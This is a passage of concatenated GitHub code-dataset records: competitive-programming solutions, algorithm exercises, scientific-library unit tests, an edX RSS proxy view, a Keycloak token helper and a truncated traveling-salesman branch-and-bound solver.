python_requires=\">=3.6\",\r\n)\r\n","repo_name":"phrasek/win10notify","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3699170376","text":"b, c = map(int, input().split())\nminus_continue = b - c//2\nif c%2==0:\n mult_minus = (minus_continue+1)*-1\nelse:\n mult_minus = minus_continue*-1\nfirst_mult = b*-1\nrem = c-1\nminus_mult = first_mult - rem//2\nif rem%2==0:\n minus_minus = (minus_mult+1)*-1\nelse:\n minus_minus = minus_mult*-1\nrng1 = [max(minus_minus, b), minus_continue]\nrng2 = [minus_mult, mult_minus]\nif (max(rng1) >= max(rng2)) and (min(rng1) <= min(rng2)):\n print(max(rng1)-min(rng1)+1)\nelif (max(rng2) >= max(rng1)) and (min(rng2) <= min(rng1)):\n print(max(rng2)-min(rng2)+1)\nelif max(max(rng1), max(rng2)) == max(rng1):\n if min(rng1) > max(rng2):\n print(max(rng1)-min(rng1)+1 + max(rng2)-min(rng2)+1)\n else:\n print(max(rng1)-min(rng2)+1)\nelse:\n if max(rng1) < min(rng2):\n print(max(rng1)-min(rng1)+1 + max(rng2)-min(rng2)+1)\n else:\n print(max(rng2)-min(rng1)+1)\n\n","repo_name":"sakakazu2468/AtCoder_py","sub_path":"arc/112/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27957727471","text":"import sys\nfrom unittest import TestCase, main\nfrom phylofiller.converter import easel_table2pd\nimport pandas as pd\nfrom skbio.util import get_data_path\n\nsys.path.append(\"../\")\nfrom scripts.turnable import (read_mutation_candidates, # noqa: E402\n overlap_mutations_annotations,\n extract_reference_subsequences,\n mutate_sequence,\n create_mutated_sequence)\n\n\nclass Test_tuRNAble(TestCase):\n fp_tmpfile = None\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def test_read_mutation_candidates(self):\n obs = read_mutation_candidates(get_data_path(\"denovos_edited3.tsv\"))\n\n # test if correct number of mutations are read and filtered\n self.assertEqual(obs.shape, (1093, 7))\n # if only_pointmutations=True, reference_length must be 1 everywhere...\n self.assertTrue(obs['reference_length'].unique() == [1])\n # ... and consist of only one character\n self.assertTrue(obs['reference'].apply(len).unique() == [1])\n\n # same as above for mutated sequence\n self.assertEqual(obs['mutation_length'].unique(), [1])\n self.assertEqual(obs['mutation'].apply(len).unique(), [1])\n\n # test that chr is prefixed\n self.assertEqual(\n obs['chromosome'].apply(lambda x: x[:3]).unique(),\n ['chr'])\n\n with self.assertRaisesRegex(ValueError, \"positions are non-negative\"):\n read_mutation_candidates(\n get_data_path(\"err_negative.tsv\"))\n\n with self.assertRaisesRegex(ValueError, \"non-DNA/RNA nucleotides\"):\n read_mutation_candidates(\n get_data_path(\"err_nonXNA_ref.tsv\"))\n with self.assertRaisesRegex(ValueError, \"non-DNA/RNA nucleotides\"):\n read_mutation_candidates(\n get_data_path(\"err_nonXNA_mut.tsv\"))\n\n with self.assertRaisesRegex(ValueError, \"have more then one\"):\n read_mutation_candidates(\n get_data_path(\"err_multiMut.tsv\"))\n\n with self.assertRaisesRegex(ValueError, 'not contain \"PASS\"'):\n read_mutation_candidates(\n get_data_path(\"err_noPASS.tsv\"))\n\n obsID = read_mutation_candidates(\n get_data_path(\"denovos_edited3.tsv\"),\n only_pointmutations=False)\n self.assertEqual(obsID.shape, (1208, 7))\n self.assertTrue(obs.shape[0] <= obsID.shape[0])\n\n def test_overlap_mutations_annotations(self):\n with open(get_data_path(\"cmsearch.tab\"), \"r\") as f:\n annotations = easel_table2pd(f.readlines(), verbose=False)\n mutations = read_mutation_candidates(\n get_data_path(\"denovos_edited3.tsv\"),\n only_pointmutations=False)\n\n obs = overlap_mutations_annotations(mutations, annotations,\n verbose=False)\n self.assertEqual(obs.shape, (7, 25))\n self.assertEqual(list(obs['#target name'].unique()),\n ['chr16', 'chr19', 'chr4', 'chr7'])\n self.assertEqual(list(obs['query name'].unique()),\n [\"IRES_n-myc\", \"mir-762\", \"mir-1249\", \"isrG\",\n \"mir-207\"])\n\n self.assertTrue(len(obs.index.unique()) == obs.shape[0])\n\n def test_extract_reference_subsequences(self):\n res = pd.read_csv(get_data_path(\"pos_extract.tsv\"),\n sep=\"\\t\")\n\n exp = [\n 'ACTCCTGTAAACAGCTGCTGCCAGCCAGGTGGTGGCCTGGCGGGGACAGCCTAGGCTCGCAGCCT'\n 'CCAGGGGCACCCCCTCACCACCCCCCTGCCCTGACTCACCTTGGCCA',\n 'GCCCGGCTCCGGGTCTCGGCCCGTACAGTCCGGCCGGCCATGCTGGCGGGGCTGGGGCCGGGGCC'\n 'GAGCCCGCGG',\n 'GCCCGGCTCCGGGTCTCGGCCCGTACAGTCCGGCCGGCCATGCTGGCGGGGCTGGGGCCGGGGCC'\n 'GAGCCCGCGG',\n 'GGCCTGGGGGGGAGGGAGTGTGCTCGATCCCACTGGTGGCCAAGCCCCCTCCCTCACCCTTCC',\n 'AATTTGCTGCATCAATTTCACACTACTTCCATATCTAAAGAAACAAAAAAATTACCTGCTGCATA'\n 'TAAGCATCTTGAAGTAGGTGGTGGTGGTGGTGGTGGTGGTGCTGCTGCTGCTGCTGCTGCTGCTG'\n 'CTGTTGCTGTTGCTGCTGCTGCTGTTGCTGTTGCTGCTGCTGCTGCTGCTGCTGCTGGTGAGGAT'\n 'GACGATGCTGTAAATGGAGTTGCTGTAATCT',\n 'GAAGGAGGGGCCGGGCTGGGTCAGGGGCTGGGCGGGGCCGCGGCAGCCCCTGACGCCGCTCTTCC'\n 'TCTCTCT',\n 'GAAGGAGGGGCCGGGCTGGGTCAGGGGCTGGGCGGGGCCGCGGCAGCCCCTGACGCCGCTCTTCC'\n 'TCTCTCT']\n obs = extract_reference_subsequences(\n get_data_path(\"ref.fasta.gz\"), res, verbose=False)\n\n pd.testing.assert_series_equal(pd.Series(exp), obs)\n\n with self.assertRaisesRegex(ValueError, 'Length of extracted'):\n res.iloc[1, 2] = 5000\n extract_reference_subsequences(get_data_path(\"ref.fasta.gz\"), res,\n verbose=False)\n\n def test_mutate_sequence(self):\n self.assertEqual(mutate_sequence(\"ACTGGTATGC\", 4, \"G\", \"C\"),\n (\"ACTGGTATGC\", \"ACTGCTATGC\"))\n self.assertEqual(mutate_sequence(\"ACTGGTATGC\", 4, \"G\", \"CCG\"),\n (\"ACTGG--TATGC\", \"ACTGCCGTATGC\"))\n self.assertEqual(mutate_sequence(\"ACTGGTATGC\", 4, \"GTA\", \"\"),\n (\"ACTGGTATGC\", \"ACTG---TGC\"))\n self.assertEqual(mutate_sequence(\"ACTGCCTGC\", 4, \"C\", \"CCCGTA\"),\n (\"ACTGC-----CTGC\", \"ACTGCCCGTACTGC\"))\n with self.assertRaisesRegex(ValueError,\n 'reference is not of type str'):\n mutate_sequence([\"ACTGGTATGC\"], 4, \"G\", \"C\")\n with self.assertRaisesRegex(ValueError, 'position is larger'):\n mutate_sequence(\"ACTGGTATGC\", 4000, \"G\", \"C\")\n with self.assertRaisesRegex(ValueError, 'position is < 0'):\n mutate_sequence(\"ACTGGTATGC\", -4000, \"G\", \"C\")\n with self.assertRaisesRegex(ValueError, 'does not match your'):\n mutate_sequence(\"ACTGGTATGC\", 4, \"T\", \"C\")\n\n def test_create_mutated_sequence(self):\n res = pd.read_csv(get_data_path(\"pos_extract.tsv\"),\n sep=\"\\t\")\n res['reference_sequence'] = extract_reference_subsequences(\n get_data_path(\"ref.fasta.gz\"), res, verbose=False)\n exp_ref = [\n \"ACTCCTGTAAACAGCTGCTGCCAGCCAGGTGGTGGCCTGGCGGGGACAGCCTAGGCTCGCAGCCT\"\n \"CCAGGGGCACCCCCTCACCACCCCCCTGCCCTGACTCACCTTGGCCA\",\n \"GCCCGGCTCCGGGTCTCGGCCCGTACAGTCCGGCCGGCCATGCTGGCGGGGCTGGGGCCGGGGCC\"\n \"GAGCCCGCGG\",\n \"GCCCGGCTCCGGGTCTCGGCCCGTACAGTCCGGCCGGCCATGCTGGCGGGGCTGGGGCCGGGGCC\"\n \"GAGCCCGCGG\",\n \"GGCCTGGGGGGGAGGGAGTGTGCTCGATCCCACTGGTGGCCAAGCCCCCTCCCTCACCCTTCC\",\n \"AATTTGCTGCATCAATTTCACACTACTTCCATATCTAAAGAAACAAAAAAATTACCTGCTGCATA\"\n \"TAAGCATCTTGAAGTAGGTGGTGGTGGTGGTGGTGGTGGTGCTGCTGCTGCTGCTGCTGCTGCTG\"\n \"CTGTTGCTGTTGCTGCTGCTGCTGTTGCTGTTGCTGCTGCTGCTG--------------------\"\n \"-CTGCTGCTGCTGGTGAGGATGACGATGCTGTAAATGGAGTTGCTGTAATCT\",\n \"GAAGGAGGGGCCGGGCTGGGTCAGGGGCTGGGCGGGGCCGCGGCAGCCCCTGACGCCGCTCTTCC\"\n \"TCTCTCT\",\n \"GAAGGAGGGGCCGGGCTGGGTCAGGGGCTGGGCGGGGCCGCGGCAGCCCCTGACGCCGCTCTTCC\"\n \"TCTCTCT\",\n ]\n exp_mut = [\n \"ACTCCTGTAAACAGCTGCTGCCAGCCAGGTGGTGGCCTGGCGGGGACAGCCTAGGCTCGCAGCCT\"\n \"CCAGGGGCACCCCCTCACCACCCCCCTGCCCTGCCTCACCTTGGCCA\",\n \"GCCCGGCTCCGGGTCTCGGCCCGTACAGTCCGGCCGGCCATGCTGGCGGGGCTGGGGCCCGGGCC\"\n \"GAGCCCGCGG\",\n \"GCCCGGCTCCGGGTCTCGGCCCGTACAGTCCGGCCGGCCATGCTGGCGGGGCTGGGGCCGAGGCC\"\n \"GAGCCCGCGG\",\n \"GGCCTGGGGGGGAGGGAGTGTGCTCGATCCCACTGGTGGCCAAGCCCCCTCCCGCACCCTTCC\",\n \"AATTTGCTGCATCAATTTCACACTACTTCCATATCTAAAGAAACAAAAAAATTACCTGCTGCATA\"\n \"TAAGCATCTTGAAGTAGGTGGTGGTGGTGGTGGTGGTGGTGCTGCTGCTGCTGCTGCTGCTGCTG\"\n \"CTGTTGCTGTTGCTGCTGCTGCTGTTGCTGTTGCTGCTGCTGCTGTTGCTGTTGCTGCTGCTGCT\"\n \"GCTGCTGCTGCTGGTGAGGATGACGATGCTGTAAATGGAGTTGCTGTAATCT\",\n \"GAAGGAGGGGCCGGGCTGGGTCAGGGGCTGGGCGGGGCCGCCGCAGCCCCTGACGCCGCTCTTCC\"\n \"TCTCTCT\",\n \"GAAGGAGGGGCCGGGCTGGGTCAGGGGCTGGGCGGGGCCCCGGCAGCCCCTGACGCCGCTCTTCC\"\n \"TCTCTCT\",\n ]\n obs = create_mutated_sequence(res, verbose=False)\n pd.testing.assert_series_equal(\n pd.Series(exp_ref, name='aln_reference'),\n obs['aln_reference'])\n pd.testing.assert_series_equal(\n pd.Series(exp_mut, name='aln_mutation'),\n obs['aln_mutation'])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jlab/workflow_tuRNAble","sub_path":"scripts/tests/test_turnable.py","file_name":"test_turnable.py","file_ext":"py","file_size_in_byte":8526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2992278632","text":"# -*- coding:utf-8 -*-\n\n# 题目描述\n# 输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，\n# 另一个特殊指针指向任意一个节点），\n# 返回结果为复制后复杂链表的head。\n# （注意，输出结果中请不要返回参数中的节点引用，否则判题程序会直接返回空）\n\nclass RandomListNode:\n def __init__(self, x):\n self.label = x\n self.next = None\n self.random = None\n\nclass Solution:\n # 返回 RandomListNode\n def Clone(self, pHead):\n self.cloneNodes(pHead)\n self.connectRandomNodes(pHead)\n self.reConnectNodes(pHead)\n\n def cloneNodes(self,pHead):\n # 将每一个节点都复制一个变成A->A'->B->B'.....\n pNode = pHead\n while pNode is not None:\n pClone = RandomListNode(pNode.label) # A复制到A' 除了random\n pClone.next = pNode.next # 把A'指向B\n pNode.next = pClone # 把A和A'链接起来\n pNode = pClone.next # 重新指定pHead->B\n\n def connectRandomNodes(self,pHead):\n pNode = pHead\n while pNode is not None : # A,B,C....\n pClone = pNode.next # A',B',C'....\n if pNode.random is not None: # 如果A有random,将其复制到A'\n pClone.random = pNode.random.next\n pNode = pClone.next\n\n def reConnectNodes(self,pHead):\n pNode = pHead\n pCloneHead = None\n pCloneNode = None\n\n if pNode != None: # 如果有原头结点 A\n pCloneHead = pCloneNode = pNode.next # 设置新的克隆头结点和中间节点,初始化新的链表 A'\n pNode.next = pCloneNode.next # 将A指向B A->next = A'->next\n pNode = pNode.next # 新的pNode为B pNode = A->next = B\n\n while pNode != None: # 从B开始循环\n pCloneNode.next = pNode.next # 将A'指向B'\n pCloneNode = pCloneNode.next # 新的pCloneNode为B'\n pNode.next = pCloneNode.next # B->next = B'->next = C\n pNode = pNode.next # pNode = C\n\n return pCloneHead\n\n\n# 运行时间：28ms\n# 占用内存：5760k\n\n\n\n\n","repo_name":"cheriezhang/LCode","sub_path":"TowardOffer/24-Clone.py","file_name":"24-Clone.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18322924971","text":"import sys\nimport math\nimport bisect\nfrom heapq import heapify, heappop, heappush\nfrom collections import deque, defaultdict, Counter\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\nMOD99 = 998244353\n\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\nSMI = lambda: input().split()\nSLI = lambda: list(SMI())\nEI = lambda m: [NLI() for _ in range(m)]\n\n\n# 削除可能heapq\nfrom heapq import *\nclass Heapq:\n '''\n 最大値を取りたいときはmaxheap=Trueにする\n\n Heapq() : 本体qと削除用pの2本のheapqを用意する\n build(a) : 配列aからプライオリティキューqを構築する\n push(x) : プライオリティキューにxを追加\n erase(x) : プライオリティーキューからxを(疑似的に)削除\n clean() : 削除予定でトップに来た要素をq,pからpop\n pop((exc)) : トップの要素をqからpop (qが空の場合、excを返す)\n top((exc)) : トップの要素の値を取得 (qが空の場合、excを返す)\n size : 有効な値の数を取得\n debug() : 現在のheapの中身（削除処理すみ）を取得\n '''\n def __init__(self, maxheap=False):\n self.q = []\n self.p = []\n self.size = 0\n self.maxheap = maxheap\n\n def build(self, a):\n self.q = a\n heapify(self.q)\n self.size = len(a)\n\n def push(self, x):\n if self.maxheap: x *= -1\n heappush(self.q, x)\n self.size += 1\n\n def erase(self, x):\n if self.maxheap: x *= -1\n heappush(self.p, x)\n self.clean()\n self.size -= 1\n\n def clean(self):\n while self.p and self.q and self.q[0]==self.p[0]:\n heappop(self.q)\n heappop(self.p)\n\n def pop(self, exc=None):\n self.clean()\n if self.q:\n self.size -= 1\n res = heappop(self.q)\n if self.maxheap: res *= -1\n return res\n return exc\n\n def top(self, exc=None):\n self.clean()\n if self.q:\n res = self.q[0]\n if self.maxheap: res *= -1\n return res\n return exc\n\n def debug(self):\n p = self.p.copy()\n q = self.q.copy()\n d = []\n while q:\n x = heappop(q)\n if p and p[0] == x:\n heappop(p)\n continue\n else:\n if self.maxheap: x *= -1\n d.append(x)\n return d\n\n\nclass SlopeTrick:\n def __init__(self):\n \"\"\"\n 区分線形凸関数 f を、傾きの変化点の多重集合に置き換えて管理することで、特定の関数操作が簡潔に行えるようにするもの\n https://maspypy.com/slope-trick-1-%e8%a7%a3%e8%aa%ac%e7%b7%a8\n\n L: 傾きが0以下の部分について、傾きの変化点全体の多重集合\n R: 傾きが0以上の部分について、傾きの変化点全体の多重集合\n 隣り合う2点間での傾きが等しい（とくにL[0]とR[0]の間はfの最小値をとる）\n \"\"\"\n self.L = Heapq(maxheap=True)\n self.R = Heapq()\n self.INF = 1<<60\n self.L.push(-self.INF)\n self.R.push(self.INF)\n self.minf = 0\n self.argmin = None\n\n def add(self, a, b):\n \"\"\"|x-a|+bを加算\"\"\"\n # 右側加算 max(0, x-a)\n self.minf += max(0, self.L.top() - a)\n self.L.push(a)\n self.R.push(self.L.pop())\n\n # 左側加算 max(0, a-x)\n self.minf += max(0, a - self.R.top())\n self.R.push(a)\n self.L.push(self.R.pop())\n\n self.minf += b\n # fの最小値をとるxのうち最小のもの\n self.argmin = self.L.top()\n\n\ndef main():\n Q = NI()\n S = SlopeTrick()\n for _ in range(Q):\n q, *X = NMI()\n if q == 1:\n S.add(*X)\n else:\n print(S.argmin, S.minf)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"ABC/ABC127/ABC127F.py","file_name":"ABC127F.py","file_ext":"py","file_size_in_byte":4120,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22597770665","text":"#! /usr/bin/env python3\nimport unittest\nfrom dshsaa.raw import maindll, envdll\nfrom dshsaa.raw import settings\nimport pdb\nimport ctypes as c\nimport os #for cleaning up output files\n\nclass TestEnvDLL(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.maindll_handle = maindll.DllMainInit()\n\t\tself.envdll_retcode = envdll.EnvInit(self.maindll_handle)\n\t\tif self.envdll_retcode != 0:\n\t\t\traise Exception(\"envdll init retcode was %i != 0\" % (self.envdll_retcode))\n\t\treturn None\n\t\n\t## EnvGetEarthShape\n\tdef test_EnvGetEarthShape(self):\n\t\tearth_shape = envdll.EnvGetEarthShape()\n\t\t\t\n\t## EnvGetFkConst\n\tdef test_EnvGetFkConst(self):\n\t\tfor (val, xf_FkCon) in zip(['C1', 'C1_dot', 'THGR70'],[1, 2, 3]):\n\t\t\tfkcon = envdll.EnvGetFkConst(xf_FkCon)\n\n\t## EnvGetFkIdx\n\tdef test_EnvGetFkIdx(self):\n\t\tfk_setting = envdll.EnvGetFkIdx()\n\t\t\n\t## EnvGetFkPtr\n\tdef test_EnvGetFkPtr(self):\n\t\tfk_ptr = envdll.EnvGetFkPtr()\n\t\t\n\t## EnvGetGeoConst\n\tdef test_EnvGetGeoConst(self):\n\t\tcodes = range(1, 12)\n\t\tdescriptors = ['FF',\n\t\t\t\t'J2',\n\t\t\t\t'J3',\n\t\t\t\t'J4',\n\t\t\t\t'KE (er^1.5/min)',\n\t\t\t\t'KMPER: Earth Radius (km/er)',\n\t\t\t\t'RPTIM: Earth rotation rate w.r.t. fixed equinox (rad/min)',\n\t\t\t\t'CK2: J2/2',\n\t\t\t\t'CK4: -3/8 j4',\n\t\t\t\t'KS2EK', \n\t\t\t\t'THDOT (rad/m)']\n\t\tfor (code, descriptor) in zip(codes, descriptors):\n\t\t\tvalue = envdll.EnvGetGeoConst(code)\n\t\n\t## EnvGetGeoIdx\n\tdef test_EnvGetGeoIdx(self):\n\t\tvalid_codes = [84, 96, 72, 2, 68, 5, 9]\n\t\tgeo_idx = envdll.EnvGetGeoIdx()\n\t\tself.assertTrue(geo_idx in valid_codes)\n\t\n\t## EnvGetGeoStr\n\tdef test_EnvGetGeoStr(self):\n\t\tvalid_strings = ['WGS-84', 'EGM-96', 'WGS-72', 'JGM2', 'SEM68R', 'GEM5', 'GEM9']\n\t\tgeo_str = envdll.EnvGetGeoStr()\n\t\tself.assertTrue(geo_str in valid_strings)\n\n\t## EnvGetInfo\n\tdef test_EnvGetInfo(self):\n\t\tinfo = envdll.EnvGetInfo()\n\n\t## EnvInit\n\tdef test_EnvInit(self):\n\t\t# If the setUp runs, then EnvInit is OK\n\t\treturn None\n\t\n\t## EnvLoadFile\n\tdef test_EnvLoadFile(self):\n\t\tenvConstFile = './test/raw/test_EnvLoadFile'\n\t\tretcode = envdll.EnvLoadFile(envConstFile)\n\t\tself.assertTrue(retcode == 0)\n\n\t## EnvSaveFile\n\tdef test_EnvSaveFile(self):\n\t\tenvConstFile = './test/raw/test_EnvSaveFile'\n\t\tsaveMode = 0\n\t\tsaveForm = 0\n\t\tretcode = envdll.EnvSaveFile(envConstFile, saveMode, saveForm)\n\t\tself.assertTrue(retcode == 0)\n\t\tos.remove(envConstFile)\n\n\t## EnvSetEarthShape\n\tdef test_EnvSetEarthShape(self):\n\t\tearth_shape = envdll.EnvGetEarthShape()\n\t\tif earth_shape == 1:\n\t\t\tearth_shape = 0\n\t\telse:\n\t\t\tearth_shape = 1\n\t\tenvdll.EnvSetEarthShape(earth_shape)\n\t\tnew_earth_shape = envdll.EnvGetEarthShape()\n\t\tself.assertEqual(earth_shape, new_earth_shape)\n\t\n\t\n\t## EnvSetFkIdx\n\tdef test_EnvSetFkIds(self):\n\t\told_fk = envdll.EnvGetFkIdx()\n\t\tif old_fk == 4:\n\t\t\tset_fk = 5\n\t\telse:\n\t\t\tset_fk = 4\n\t\tenvdll.EnvSetFkIdx(set_fk)\n\t\tnew_fk = envdll.EnvGetFkIdx()\n\t\tself.assertEqual(set_fk, new_fk)\n\t\t\n\n\t## EnvSetGeoIdx\n\tdef test_EnvSetGeoIdx(self):\n\t\tvalid_geos = [84, 96, 72, 2, 68, 5, 9]\n\t\tfor geo in valid_geos:\n\t\t\tenvdll.EnvSetGeoIdx(geo)\n\t\t\tself.assertEqual(geo, envdll.EnvGetGeoIdx())\n\t\t\n\t## EnvSetGeoStr\n\tdef test_EnvSetGeoStr(self):\n\t\tvalid_geos = ['WGS-84', 'EGM-96', 'WGS-72', 'JGM2', 'SEM68R', 'GEM5', 'GEM9']\n\t\tfor geo in valid_geos:\n\t\t\tenvdll.EnvSetGeoStr(geo)\n\t\t\tself.assertEqual(geo, envdll.EnvGetGeoStr())\n\n\tdef tearDown(self):\n\t\treturn None\n\t\t\n\t\t\n","repo_name":"hardingprofessional/dshsaa","sub_path":"test/raw/test_envdll.py","file_name":"test_envdll.py","file_ext":"py","file_size_in_byte":3266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"12607446843","text":"\"\"\"\nViews for the rss_proxy djangoapp.\n\"\"\"\n\n\nimport requests\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.http import HttpResponse, HttpResponseNotFound\n\nfrom lms.djangoapps.rss_proxy.models import WhitelistedRssUrl\n\nCACHE_KEY_RSS = \"rss_proxy.{url}\"\n\n\ndef proxy(request):\n \"\"\"\n Proxy requests for the given RSS url if it has been whitelisted.\n \"\"\"\n\n url = request.GET.get('url')\n if url and WhitelistedRssUrl.objects.filter(url=url).exists():\n # Check cache for RSS if the given url is whitelisted\n cache_key = CACHE_KEY_RSS.format(url=url)\n status_code = 200\n rss = cache.get(cache_key, '')\n print(cache_key)\n print('Cached rss: %s' % rss)\n if not rss:\n # Go get the RSS from the URL if it was not cached\n resp = requests.get(url)\n status_code = resp.status_code\n if status_code == 200:\n # Cache RSS\n rss = resp.content\n cache.set(cache_key, rss, settings.RSS_PROXY_CACHE_TIMEOUT)\n return HttpResponse(rss, status=status_code, content_type='application/xml')\n\n return HttpResponseNotFound()\n","repo_name":"openedx/edx-platform","sub_path":"lms/djangoapps/rss_proxy/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"37954001592","text":"import logging\nimport os\nfrom datetime import datetime\n\nimport jwt\n\nfrom users.keycloak import query\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(os.getenv(\"LOG_LEVEL\", \"INFO\"))\n\n\nclass AuthToken:\n def __init__(self) -> None:\n self._token = \"\"\n\n async def get_token(self) -> str:\n if not self._token or self.is_expired():\n logger.debug(\"Requesting new token\")\n auth_data = await query.get_master_realm_auth_data()\n self._token = auth_data.get(\"access_token\")\n return self._token\n\n def is_expired(self) -> bool:\n exp = jwt.decode(\n self._token,\n algorithms=[\"RS256\", \"HS256\"],\n options={\"verify_signature\": False},\n ).get(\"exp\")\n return datetime.utcnow().timestamp() >= exp\n\n\nauth_token = AuthToken()\n","repo_name":"epam/badgerdoc","sub_path":"users/users/service_account.py","file_name":"service_account.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"3"} +{"seq_id":"20250285675","text":"#!/usr/bin/python3\nimport csv\n\nfrom PyQt5.QtCore import QLineF, QPointF\nimport time\nimport numpy as np\nfrom TSPClasses import *\nimport heapq\nimport itertools\nfrom MatrixStates import *\nfrom MinHeap import MinHeap\n\n\n\nclass TSPSolver:\n\tdef __init__( self, gui_view ):\n\t\tself._scenario = None\n\n\tdef setupWithScenario( self, scenario ):\n\t\tself._scenario = scenario\n\n\n\t''' \n\t\tThis is the entry point for the default solver\n\t\twhich just finds a valid random tour. Note this could be used to find your\n\t\tinitial BSSF.\n\t\t\n\t\tresults dictionary for GUI that contains three ints: cost of solution, \n\t\ttime spent to find solution, number of permutations tried during search, the \n\t\tsolution found, and three null values for fields not used for this \n\t\talgorithm \n\t'''\n\t\n\tdef defaultRandomTour( self, time_allowance=60.0 ):\n\t\tresults = {}\n\t\tcities = self._scenario.getCities()\n\t\tncities = len(cities)\n\t\tfoundTour = False\n\t\tcount = 0\n\t\tbssf = None\n\t\tstart_time = time.time()\n\t\twhile not foundTour and time.time()-start_time < time_allowance:\n\t\t\t# create a random permutation\n\t\t\tperm = np.random.permutation( ncities )\n\t\t\troute = []\n\t\t\t# Now build the route using the random permutation\n\t\t\tfor i in range( ncities ):\n\t\t\t\troute.append( cities[ perm[i] ] )\n\t\t\tbssf = TSPSolution(route)\n\t\t\tcount += 1\n\t\t\tif bssf.cost < np.inf:\n\t\t\t\t# Found a valid route\n\t\t\t\tfoundTour = True\n\t\tend_time = time.time()\n\t\tresults['cost'] = bssf.cost if foundTour else math.inf\n\t\tresults['time'] = end_time - start_time\n\t\tresults['count'] = count\n\t\tresults['soln'] = bssf\n\t\tresults['max'] = 0\n\t\tresults['total'] = 0\n\t\tresults['pruned'] = 0\n\t\treturn results\n\n\tdef lower_bound(self, city):\n\t\tpass\n\n\n\t''' \n\t\tThis is the entry point for the greedy solver, which you must implement for \n\t\tthe group project (but it is probably a good idea to just do it for the branch-and\n\t\tbound project as a way to get your feet wet). Note this could be used to find your\n\t\tinitial BSSF.\n\t\t\n\t\tresults dictionary for GUI that contains three ints: cost of best solution, \n\t\ttime spent to find best solution, total number of solutions found, the best\n\t\tsolution found, and three null values for fields not used for this \n\t\talgorithm \n\t'''\n\n\tdef greedy( self,time_allowance=60.0 ):\n\t\tpass\n\t\n\t\n\t''' \n\t\tThis is the entry point for the branch-and-bound algorithm that you will implement\n\t\t\n\t\tresults dictionary for GUI that contains three ints: cost of best solution, \n\t\ttime spent to find best solution, total number solutions found during search (does\n\t\tnot include the initial BSSF), the best solution found, and three more ints: \n\t\tmax queue size, total number of states created, and number of pruned states. \n\t'''\n\n\t# time: O(n^2), space: O(1)\n\tdef branchAndBound( self, time_allowance=60.0 ):\n\t\tbssf = self.defaultRandomTour(time_allowance)\n\n\t\tinit_mat_state = MatrixState(city_matrix=self._scenario.getCities(), first_city=self._scenario.getCities()[0])\n\n\t\tinit_city = self._scenario.getCities()[0]\n\t\theap = MinHeap()\n\t\theap.insert(init_mat_state.priority(len(self._scenario.getCities())), init_mat_state)\n\n\t\tsolutions = []\n\n\t\tstart_time = time.time()\n\t\t# time: for loop is O(n), plus inner for loop is O(n^2)\n\t\t# space: O(1), same space is used every time\n\t\t# finished route, found a solution\n\t\tfor state in heap:\n\t\t\tif time.time() - start_time > time_allowance:\n\t\t\t\tbreak\n\t\t\tif state is None:\n\t\t\t\tbreak\n\n\t\t\t# all operations in here are O(1)\n\t\t\t# finished route, found a solution\n\t\t\tif not state.not_visited(self._scenario.getCities()):\n\t\t\t\tif state.to_place.costTo(init_city) < np.inf:\n\n\t\t\t\t\tif state.curr_cost < bssf['cost']:\n\t\t\t\t\t\tbssf['cost'] = state.curr_cost + state.to_place.costTo(init_city)\n\n\n\t\t\t\t\tbssf['count'] += 1\n\n\t\t\t\t\tstate_visited = state.visited\n\t\t\t\t\tcurr_solution = TSPSolution(state_visited)\n\n\t\t\t\t\tresults = {\n\t\t\t\t\t\t'cost': state.curr_cost + state.to_place.costTo(init_city),\n\t\t\t\t\t\t'count': bssf['count'],\n\t\t\t\t\t\t'soln': curr_solution,\n\t\t\t\t\t\t'max': None,\n\t\t\t\t\t\t'total': None,\n\t\t\t\t\t\t'pruned': None\n\t\t\t\t\t}\n\n\t\t\t\t\tsolutions.append(results)\n\n\t\t\t# time: for loop is O(n), insert is O(log(n))., so overall it's O(n)\n\t\t\t# go through every city that has not been visited yet\n\t\t\tfor c in state.not_visited(self._scenario.getCities()):\n\t\t\t\t# create a new state if there is a path\n\t\t\t\tif state.curr_place.costTo(c) < np.inf:\n\t\t\t\t\tnext_state = MatrixState(state=state, from_place=state.curr_place, to_place=c)\n\t\t\t\t\tbssf['total'] += 1\n\n\t\t\t\t\t# if the path is better than the bssf, insert that state into the heap\n\t\t\t\t\tif next_state.curr_cost < bssf['cost']:\n\t\t\t\t\t\theap.insert(\n\t\t\t\t\t\t\tnext_state.priority(len(self._scenario.getCities())),\n\t\t\t\t\t\t\tnext_state\n\t\t\t\t\t\t)\n\t\t\t\t\telse:\n\t\t\t\t\t\tbssf['pruned'] += 1\n\n\n\t\tend_time = time.time()\n\n\t\tbest = solutions[0]\n\t\t# time: O(n)\n\t\tfor sol in solutions:\n\t\t\tbest = sol if sol['cost'] < best['cost'] else best\n\n\t\tnew_cost = 0\n\t\t# time: O(n) for loop\n\t\tfor i in range(len(best['soln'].route)):\n\t\t\tnew_cost += 